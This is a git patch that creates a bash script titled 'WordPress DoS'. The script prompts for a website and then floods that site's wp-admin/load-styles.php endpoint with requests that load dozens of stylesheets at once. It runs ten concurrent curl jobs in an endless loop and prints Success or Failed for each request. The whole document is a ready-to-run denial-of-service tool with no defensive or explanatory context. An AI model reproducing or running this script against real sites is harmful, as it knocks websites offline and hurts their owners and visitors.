From dca91b89a0c546b9c082f6c599caf0046e12590f Mon Sep 17 00:00:00 2001 From: Muhammad Daffa <36522826+MD15@users.noreply.github.com> Date: Fri, 10 Apr 2020 19:07:20 +0700 Subject: [PATCH] Create load-styles.sh --- WordPress DoS/load-styles.sh | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 WordPress DoS/load-styles.sh diff --git a/WordPress DoS/load-styles.sh b/WordPress DoS/load-styles.sh new file mode 100644 index 0000000..f9aa7b6 --- /dev/null +++ b/WordPress DoS/load-styles.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# Wordpress DoS +echo "Input Website!" +read web + +function dos(){ + if [[ $(curl -kLs "${1}/wp-admin/load-styles.php?&load=common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,widgets,site-icon,l10n,install,wp-color-picker,customize-controls,customize-widgets,customize-nav-menus,customize-preview,ie,login,site-health,buttons,admin-bar,wp-auth-check,editor-buttons,media-views,wp-pointer,wp-jquery-ui-dialog,wp-block-library-theme,wp-edit-blocks,wp-block-editor,wp-block-library,wp-components,wp-edit-post,wp-editor,wp-format-library,wp-list-reusable-blocks,wp-nux,deprecated-media,farbtastic" ) =~ 'wpadminbar' ]]; then + printf "Success\n" + else + printf "Failed\n" + fi +} + +while : +do +((cthread=cthread%10)); ((cthread++==0)) && wait + dos "${web}" & +done